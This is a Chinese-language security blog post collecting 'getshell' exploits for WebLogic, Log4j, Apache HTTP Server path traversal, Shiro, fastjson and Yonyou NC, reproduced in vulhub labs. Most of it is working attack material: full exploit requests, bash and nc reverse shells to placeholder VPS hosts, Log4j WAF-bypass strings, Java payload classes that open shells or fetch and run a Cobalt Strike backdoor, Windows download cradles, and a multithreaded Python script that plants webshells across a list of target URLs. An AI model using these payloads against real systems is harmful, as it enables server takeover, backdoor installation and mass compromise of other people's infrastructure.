部分getshell漏洞汇总-菜鸟的菜-漏洞文库小世界-安全文库-NGC660 安全实验室

部分getshell漏洞汇总-菜鸟的菜

1、weblogic漏洞

1.1 cve-2020-14882 未授权命令执行

一、漏洞描述

未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console,并执行任意代码,利用门槛低,危害巨大。

二、影响版本

Oracle WebLogic Server版本
10.3.6.0

12.1.3.0

12.2.1.3

12.2.1.4

14.1.1.0

三、漏洞复现

漏洞环境为vulhub中的cve-2020-14882

1、访问url地址+/console/images/%252E%252E%252Fconsole.portal?,即可未授权访问console后台,但是权限比较低m_1fa8644183fe6ddad0909c5da8c950b3_r
备注:此处会出现个问题,在复现的环境中直接拼接/console/%2e%2e%2fconsole.portal?nfpb=true&pageLabel=HomePage1会提示404,此时需要替换为之前的地址即可,地址如下:
http://192.168.136.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1
即可进入后台
m_06c99d740849c665e3269276cd695f2a_r
2、结合CVE-2020-14883获取系统shell,针对weblogic 12.2.1以上版本利用poc如下

POST /console/css/%252e%252e%252fconsole.portal 
Host: 192.168.136.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: ls
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

m_21c05e1748b16ca04462e0e88ff5e202_r
收集到常见的weblogic写入路径如下:

  • 写入console images目录

shell物理路径

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

访问路径:

/console/framework/skins/wlsconsole/images/shell.jsp
  • 写入uddiexplorer目录

shell物理路径:

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp

访问路径:

/uddiexplorer/shell.jsp
  • 写入应用安装目录

shell物理路径

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

访问路径

/项目名/shell.jsp

config.xml的查看路径,尤其当weblogic部署了多个网站时,可以根据配置文件,确定shell的写入路径是否正确。

user_projects/domains/base_domain/config

4、构造xml进行shell反弹(此处利用的环境是vulhub CVE-2018-2628)

构造的xml格式如下,xx.xx.xx.xx替换为可以访问到的ip地址:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/xx.xx.xx.xx/5555 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

本次测试将test.xml文件放到vps中,访问地址如下http://xx.xx.xx.xx/test.xml拼接url地址如下:

http://192.168.136.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://xx.xx.xx.xx/test.xml%22)

访问该地址会出现报错一些错误提示:m_344b1987e02cff84cfb74a71ae9adb26_r
但是实际shell已经反弹成功,vps已经成功反弹回shellm_68eb366768cdf5a83be7c24bc16c9aa0_r
备注:互联网的漏洞利用可能会比对少,但是在内网可能会存在,可以作为获取服务器权限的一种方式。

1.2 cve-2021-2109 weblogic 远程命令执行

一、漏洞描述

该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

二、影响版本

WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

三、漏洞复现

靶机环境为:vulhub CVE-2020-14882

利用到工具:

JNDIExploit-1.3-SNAPSHOT.jar

nc

1、vps运行ldap需要java1.8环境

-i 后面为vps的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.xx

m_f29470b1f85597b2bc32f0d4c7842ad7_r
2、构建数据包如下,xx.xx.xx为vps的ip地址

此处注意ladp后面的ip地址中,最后一位地址前是;不是.

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.136.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: ADMINCONSOLESESSION=dykcURUTuEtLXZzFYo8hQccvfn_mp5Ot0xarNSwAlpqPwYoJkYXE!-274288217; ADMINCONSOLESESSION=QnKmvVJK3SMQMjhfQzK1XgLLs69G7fwCWhRZCpxyLrcnT8Dv3h8n!10986660
Connection: close
Upgrade-Insecure-Requests: 1
cmd:pwd
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Basic/WeblogicEcho;AdminServer%22)

可成功执行命令
ldap接收到数据:m_c163937417c153edca5b12efbba8a9fa_r
3、反弹shell

对反弹shell命令进行base64编码,x.x.x.x为vps监听地址

bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

vps开启nc监听

nc -lvvp 12345

执行如下命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My8xMjM0NSAwPiYxCgo=}|{base64,-d}|{bash,-i}

burp发送数据包,此时返回为空

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.136.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: ADMINCONSOLESESSION=dykcURUTuEtLXZzFYo8hQccvfn_mp5Ot0xarNSwAlpqPwYoJkYXE!-274288217; ADMINCONSOLESESSION=QnKmvVJK3SMQMjhfQzK1XgLLs69G7fwCWhRZCpxyLrcnT8Dv3h8n!10986660
Connection: close
Upgrade-Insecure-Requests: 1
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My8xMjM0NSAwPiYxCgo=}|{base64,-d}|{bash,-i}
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://144.168.62;143:1389/Basic/WeblogicEcho;AdminServer%22)

m_0d080b4a9499d41d33ffc26a78ee9fca_r

vps上发现已经反弹成功

m_50337b9296686d6aab2ac6253cc899e6_r

备注: 有时候可能出现反弹不成功,可以多试几次。备注: 有时候可能出现反弹不成功,可以多试几次。

2、apache漏洞

2.1log4jCVE-2021-44228 rce漏洞

一、漏洞描述

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

二、影响版本

2.0-beta9 <= Apache Log4j <= 2.3

2.4 <= Apache Log4j <= 2.12.1

2.13.0<= Apache Log4j <= 2.15.0-rc1

三、漏洞复现

1、靶机环境:https://ctf.bugku.com/challenges/detail/id/340.html

2、vps上建立LDAP服务

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.xx

m_3d08e2333d483cbc794535ef681aa3e6_r
3、开启nc监听

nc -lvnp 12345

4、验证漏洞

反弹shell代码,其中xx.xx.xx.xx是vps的公网ip地址,
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/命令的base64编码}

需要进行base64编码,此处是用的nc,常见的使用bash反弹


bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1

nc xx.xx.xx.xx 12345 -e /bin/sh

${jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/Base64/bmMgIDE0NC4xNjguNjIuMTQzIDEyMzQgLWUgL2Jpbi9zaA==}

执行完之后,在vps上可接收到反弹的shell,可执行相关命令,nc连接信息如下!m_8ed1562d982431e68018f2a14c671f25_r
ldap流量信息如下:m_f057a22de4df4a07293ae5576d1d17a7_r

收集部分绕过waf语句:



${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}

${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}

${jndi:rmi://adsasd.asdasd.asdasd}

${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

2.2CVE-2021-41773

一、漏洞描述

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:版本等于2.4.49
Require all granted(默认情况下是允许被访问的)。
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

二、影响版本

Apache HTTP Server 2.4.49

三、漏洞复现
利用vulhub漏洞环境CVE-2021-41773进行复现
1、利用该漏洞进行文件读取

curl -v --path-as-is http://192.168.136.128:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

m_226c137937ff355e6308a55fe517dbc4_r

2、命令执行

curl --data "echo;id" 'http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'  # Linux

curl --data "echo;id" "http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"  # Windows 

1e45ec8278e37ff92f70d271a10ae516.png

3、反弹shell
由于靶机环境中bin/sh指向的是dash,不能直接进行bash反弹,可先讲bash写入下进行执行,vps首先开启监听,步骤如下:
bash命令写入sh文件


curl --data "echo;echo 'bash -i >& /dev/tcp/xx.xx.x.xxx/8888 0>&1'>> /tmp/shell.sh" 'http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

执行sh文件

curl --data "echo;bash /tmp/shell.sh" 'http://192.168.136.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

可反弹成功
m_adb675d7ff4a70aad1612b52412413f0_r
备注:由于42013为41773的修复不充分,所以也可利用42013方法就行shell反弹。

2.3 CVE-2021-42013

一、漏洞描述

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

二、影响版本

Apache 2.4.49 和 Apache 2.4.50

Apache HTTP Server 2.4.49

三、漏洞复现

利用环境:
vulhub靶机环境
1、搭建环境成功后,可正常访问
m_beabadd8502a95fc4fa6f516a219fcad_r
2、漏洞利用poc

curl -v --path-as-is http://192.168.136.128:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

–path-as-is 参数是不对url进行压缩,直接在浏览器中访问该地址会提示404,是因为浏览器会默认对一些特殊字符进行编码,利用curl请求结果如下:
m_ddf4651991a8f6a27f1957a7b280d694_r

3、若服务器上mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,利用poc如下


curl -v --data "echo;id" 'http://192.168.136.128:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.136.128:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"

m_eb973238a39d955e794e14097b033823_r

4、反弹shell
直接利用bash -i >& /de/tcp/ip/port 0>&1,进行反弹shell时,发现靶机环境无法反弹成功,通过查看docker日志发现Bad fd number,通过互联网上搜索发现原因如下,/bin/sh 指向的为dash,反弹shell中用到的为bash,dash和bash语法不同
m_56c2b90c3d4797660343a5ecfd399da2_r
解决办法为将dash重新变回bash,利用bash -c 参数,反弹shell poc如下:

bash -c '{echo,payload_base64}|{base64,-d}|{bash,-i}'

bash -i >& /dev/tcp/xx.xx.xx.xx.xx/8888 0>&1,进行base64编码后内容如下YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=,最终payload如下

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=``}|{base64,-d}|{bash,-i}'

执行如下数据包,vps可成功反弹shell成功

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.136.128:8080
Content-Type: application/text
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Content-Length: 105
Connection: close

echo;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

m_5138dadffd775b7b3cbe4cf445cb1f98_r

m_84be532181f4f5fbb623e64c46190201_r

也可以利用工具进行反弹
m_fc3ed69c4507f9e5de7a646173bda07f_r

工具下载地址:
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

2.4 shiro反序列化漏洞

一、漏洞描述

Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

二、影响版本

Apache Shiro <= 1.2.4

三、漏洞复现
漏洞环境:vulhub下的CVE-2020-1957
shiro反序列化是现在漏洞数量相对已经很少了,复现该漏洞想以该漏洞为例子介绍下一些工具的使用方法,常用的工具主要是ShiroExploitV31,本次测试案例中主要使用shiro_tool.jar
1、有的时候可能存在shiro反序列化漏洞,但是无法利用成功, 可考虑下是否无网站采用了https的方法或是添加http的请求头
m_11f714d6992f1cf267af1b40dc715b35_r
2、本次的测试主要以shiro_tool.jar为主,检测到存在shiro反序列化漏洞后,可利用x=whoami进行命令执行,可进行文件下载
m_7ec3e933a87090a62e0284ab5ba1d0d6_r

收集下liunux常见的下载命令:

wget
curl

windows下常见下载命令
证书下载:

certutil -urlcache -split -f http://xx.xx.xx.xx/aa.txt  webapps/nc_web/ncnew.jsp

bitsadmin下载

要求服务器支持Range标头


bitsadmin /rawreturn /transfer down "http://XX.XX.XX.XX/aa.txt" D:\robots.txt

如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行

bitsadmin /setpriority down foreground

powershell下载:

powershell (new-object Net.WebClient).DownloadFile('http://xx.xx.xx.xx/aa.txt','D:\robots.txt')

vbs下载:
下载脚本如下,可以echo一行行写入

Set post=CreateObject("MSXML2.XMLHTTP") 
set shell=createobject("Wscript.shell")
post.open "GET","http://xx.xx.xx.xx/aa.txt",0 
post.send()
set aGet =CreateObject("ADODB.Stream") 
aGet.Mode=3 
aGet.Type=1 
aGet.Open() 
aGet.write(Post.responseBody) 
aGet.SaveToFile "D:\AA.txt",2

m_54ec6624121940007f73b9e4d373a613_r

还可以保存脚本后在指定下载

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> down.vbs
cscript downfile.vbs http://xx.xx.xx.xx/a.ps1 D:\x.ps1

然后利用cscript 执行相关脚本:cscript download.vbs

ie浏览器下载,cmd启动IE,访问网址,通过缓存获得下载的文件


start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/aa.txt



powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/aa.txt -WindowStyle Hidden"

查找命令:

dir %LOCALAPPDATA%\*aa*.txt /s /b

由于此时浏览器是打开状态,无法对文件进行修改删除等操作,可通过如下命令查看相关进程并结束

wmic process get name,executablepath,processid|findstr iexplore.exe

taskkill /F  /PID 

m_12ab09e083ad89f63585e636fbef92ac_r
m_4fd9acb6f82c5cd71d6daf4517e05f68_r
此时可对下载的文件进行移动、修改等操作,cmd下常见的文件操作命令如下:

复制文件、文件夹

        copy 1.txt 2.txt           //文件
        xcopy D:\1 D:\2 /s /e   //文件夹

rmdir:删除空文件夹
rd:删除文件
echo写入文件:
echo > b.txt
 ren a.txt b.txt //重命名文件
ren a b          //重命名文件夹
type a.txt

3、反弹shell

vps开启监听8888,攻击者执行利用bash反弹,执行如下命令,将反弹的bash指令进行base64编码

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuxxxxxxxxxx4IDA+JjE=``}|{base64,-d}|{bash,-i}'

m_4dd19c33304967befefddfa2526f8f65_r

vps可成功接收反弹的shell

m_3dddbf3b00bd0e50dff981d8ec029fbd_r

2.5 CVE-2020-1957未授权访问

一、漏洞描述

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
二、影响版本

Apache Shiro < 1.5.3
三、漏洞复现
环境搭建:vulhub CVE-2020-1957

1、搭建好环境访问如下
m_4d8f7ce5b2a1c4da497f78ae7032fe5d_r
2、拦截数据包直接访问admin提示302

m_592e724863ab1736a7d910429e6e8f0d_r
3、修改admin为//111/..;/admin/,发现可成功访问

m_fd41595d09b738fed156d1df86d214ac_r
4、其他可访问url:

;/admin/

/;/admin/

/任意/..;/admin/

四、修复建议
升级到最新版本。

3、产品漏洞

3.1 fastjson 1.2.24反序列化漏洞

一、漏洞描述

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
二、影响版本

fastjson<=1.2.24

三、漏洞复现

利用vulhub 1.2.24-rce进行环境搭建

1、漏洞检测,替换dnslog地址,如果存在漏洞,刷新dnslog,会收到请求信息

POST / HTTP/1.1
Host: 192.168.136.128:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8212EC7B4FF8BE14C0027705CD578A03
Connection: close
Content-Type: application/json
Content-Length: 64

{"zeo":{"@type":"java.net.Inet4Address","val":"xxxxx.ceye.io"}}

m_70ebe829c65eccef3194c85b848c57ae_r

2、漏洞分析
简单对该漏洞进行分析,远程命令执行流程如下:
(1)、攻击者A利用payload攻击受害主机B;
(2)、受害主机B存在反序列化漏洞,远程调用rmi,去连接存在rmi服务的主机C;
(3)、主机c的rmi服务指定加载恶意java代码,进而导致受害机器B主动加载恶意java代码,最终导致受害主机B执行恶意代码;
通常情况下rmi服务和恶意java代码为一台服务器。
3、反弹 shell

java反弹shell代码文件为TouchFile.java,代码内容如下:

import java.lang.Runtime;
import java.lang.Process;

public class payload {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands =  {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.136.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};;
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

利用javac编译成TouchFile.class文件,将该文件放在网站服务器上,可用apache、phpstudy等进行web服务搭建。
RMI服务搭建,vps上执行如下语句:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.136.1/#TouchFile" 9999

vps开启nc监听:

nc -lvp 8888

攻击者执行命令如下

POST / HTTP/1.1
Host: 192.168.136.128:8090
Pragma: no-cache
Cache-Control: no-cache
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.136.128:8090/
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 169

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.136.1:9999/TouchFile",
        "autoCommit":true
    }
}

本次的测试环境,vps和rmi服务为同一台服务器,测试效果如下:
攻击机效果:

m_8b686007d2d0ca0d0b21fc2f0dd2218c_r

vps开启rmi服务:

m_95e4d35bbe608993f730807a2f39d319_r

vps接收反弹shell:

m_8b77d9641b7c82031f5777f677b5475a_r
4、ldap监听上线cs
javac编译class文件http://192.168.136.1/test.exe为cs后门的下载地址


import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static 
{try {Runtime rt = Runtime.getRuntime();
String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.136.1/test.exe','test.exe');start-process test.exe"};
Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

开启ldap服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.136.146/#evilclass" 9999

burp数据包:



POST /fastjson HTTP/1.1
Host: 192.168.112.140:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 133
{
@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.136.146:9999/evilclass","autoCommit":true
}

备注:在反弹shell的时候,需要注意的是接收shell主机的java版本要和受害主机版本相近,我在开始复现的时候,rmi服务可以接收到数据,但是反弹shell却不成功,后来发现我的靶机java版本是1.8,反弹shell主机环境为11,所以一直导致无法反弹成功。
基于 RMI 的利用方式,JDK 版本限制在 6u132、7u131、8u121 之前,在 8u122 及之后的版本中,加入了反序列化白名单的机制,关闭了 RMI 远程加载代码基于 LDAP 的利用方式,JDK 版本限制于 6u211、7u201、8u191、11.0.1 之前,在 8u191 版本中,Oracle 对LDAP 设置限制,发布了 CVE-2018-3149,关闭 JNDI 远程类加载

3.2 nc beanshell远程代码执行漏洞

一、漏洞描述

2021年06月03日,用友官方发布了用友BeanShell远程代码执行漏洞的风险通告,漏洞编号为CNVD-2021-30167,漏洞等级:严重,漏洞评分:9.8。用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一。成功利用该漏洞的攻击者可以直接在目标机器上执行任意代码,并以用友NC软件的用户权限执行任意命令。该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意数据执行任意代码并获取服务器权限。该漏洞利用复杂度低,攻击者无需用户交互及相关权限便可直接执行任意代码,危害度很高。

二、漏洞复现
影响版本:
NC6.5版本

访问servlet/~ic/bsh.servlet.BshServlet路径出现 BeanShell Test Servlet

m_e9cb10f18d72511996613ccb7d42ed08_r

获取webshell方式

1、尝试使用echo 通过命令执行的方式写出webshell

m_054bb1d909b36077c10bdbf09e39886b_r

2、尝试使用上传漏洞获取webshell

3、证书下载,,本次的测试环境,利用该种方式写入成功

exec("cmd.exe /c  certutil -urlcache -split -f http://xx.xx.xx.xx/aa.txt  webapps/nc_web/ncnew.jsp");

可成功写入webshell,利用特斯拉进行连接。
4、通过文件上传漏洞写入,利用exp如下,执行该exp,可成功在根目录下写入
T00ls.jsp文件,


import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")
        return vurl

def exp(u):
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Content-Type": "multipart/form-data;",
        "Referer": "https://google.com"
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    shellFlag="sectest"
    uploadData+=shellFlag
    try:
        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
        if req1.status_code == 200 :
            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

            if  req3.text.index(shellFlag)>=0:
                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"
                print (printFlag)
                wirte_targets(printFlag, "vuln.txt")
    except :
        pass
    #print(printFlag, end="")


if __name__ == "__main__":
    if (len(sys.argv)) < 2:
        print('useage : python' +str(sys.argv[0]) + ' -h')
    else:
        parser =argparse.ArgumentParser()
        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
        args =parser.parse_args()
        if args.check_url:
            exp(args.check_url)

        if(args.check_file):
            multithreading(exp, args.check_file, 8) 

m_8f1408e0276a6ad44cb9ac50757ff53f_r

备注:
在很多情况下会出现不允许访问BeanShell 页面,不允许访问该页面并不意味着不存在漏洞,可尝试利用工具进行测试,此处利用nc6.5.jar,可直接执行相关命令。
m_79ddb8f2196caf747aff1e223ead70df_r

